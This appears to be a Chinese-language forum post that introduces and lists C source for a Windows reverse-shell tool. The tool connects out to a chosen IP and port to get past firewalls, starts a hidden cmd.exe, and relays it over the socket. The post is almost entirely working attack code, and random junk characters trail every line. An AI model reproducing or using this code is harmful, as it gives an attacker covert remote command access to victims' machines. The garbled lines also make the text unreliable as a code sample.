这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 FOv=!'So
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/* ============================== RkH W
Rebound port in Windows NT ^=BTz9QM
By wind,2006/7 A>vBQN
===============================*/ UldXYtGe
#include 2 Wt> Mi
#include
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#pragma comment(lib,"wsock32.lib") MW! srTQ_
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void OutputShell(); )IP,;<
SOCKET sClient; s1MErd
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,~a QL
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void main(int argc,char **argv) 1t:Q_j0Ym
{ ;kFDMuuO
WSADATA stWsaData; *;l]8.
int nRet; H7z,j}l
SOCKADDR_IN stSaiClient,stSaiServer; p#01gB
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if(argc != 3) ,V,`Jf
{ ^!<U_;+
printf("Useage:\n\rRebound DestIP DestPort\n"); l7XUXbYp&=
return; 03|PYk 6EW
} \l'm[jy>
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WSAStartup(MAKEWORD(2,2),&stWsaData); \s/s7y6b+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^ssK
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stSaiClient.sin_family = AF_INET; :}Xll#.,m
stSaiClient.sin_port = htons(0); O!mvJD
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5QW=&zI`=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fL_4uC i\
{ wg7V-+@i
printf("Bind Socket Failed!\n"); zcel|oz)
return; @GBxL*e
} Sc>,lIM
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stSaiServer.sin_family = AF_INET; ?zeJ#i
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^WHE$4U`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); o>).Cj
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4iqoR$3Fc
{ LIS)(X<]?
printf("Connect Error!"); 9 %8"e>~
return; *EOdEFsR/
} na#CpS;pc
OutputShell(); qIVx9jNN
} -l`f)0{
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void OutputShell() WB?jRYp
{ OP~HdocB
char szBuff[1024]; )T/0S$@
SECURITY_ATTRIBUTES stSecurityAttributes; DNOueU
OSVERSIONINFO stOsversionInfo; f1`gdQ)H
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !Z`j2
e}
STARTUPINFO stStartupInfo; aUzBV\Yd}
char *szShell; w&$`cD
PROCESS_INFORMATION stProcessInformation; 1_o],?Q
unsigned long lBytesRead; gcE|#1>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )2pbpbWX>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~?D4[D|sB
stSecurityAttributes.lpSecurityDescriptor = 0; j K!Au
stSecurityAttributes.bInheritHandle = TRUE; FemCLvu
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G,$PV
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z{[xze-f
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <A[E:*`*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~"!]
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stStartupInfo.wShowWindow = SW_HIDE; AuUde$l_
stStartupInfo.hStdInput = hReadPipe; Y,GU%[+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ks3`3q 7
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GetVersionEx(&stOsversionInfo); &+a9+y
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switch(stOsversionInfo.dwPlatformId) C+?Hm1
{ 1LqoF{S:
case 1: Ipf|")*
szShell = "command.com"; !,l9@eJQ
break; ,LTH;<zB)
default: VGfMN|h
szShell = "cmd.exe"; @x9a?L.48
break; 0Oi,#]F
} `k=bL"T>\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E'v_#FLvR
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send(sClient,szMsg,77,0); q`|LRz&al
while(1) x9$` W
{ ~3UQ|j
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {p)",)td
if(lBytesRead) #,S0HDDHn
{ B||*.`3gN
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $.C=H[QC
send(sClient,szBuff,lBytesRead,0); &Flglj~7l
} dI*pDDq#
else ~hZ"2$(0
{ d{rQzia"mV
lBytesRead=recv(sClient,szBuff,1024,0); Wc,_RN-
if(lBytesRead<=0) break; *7*lE"$p
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y#>,+a#5
} LG-y]4a}
} wQv'8A_}
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return; rW0kA1=E
}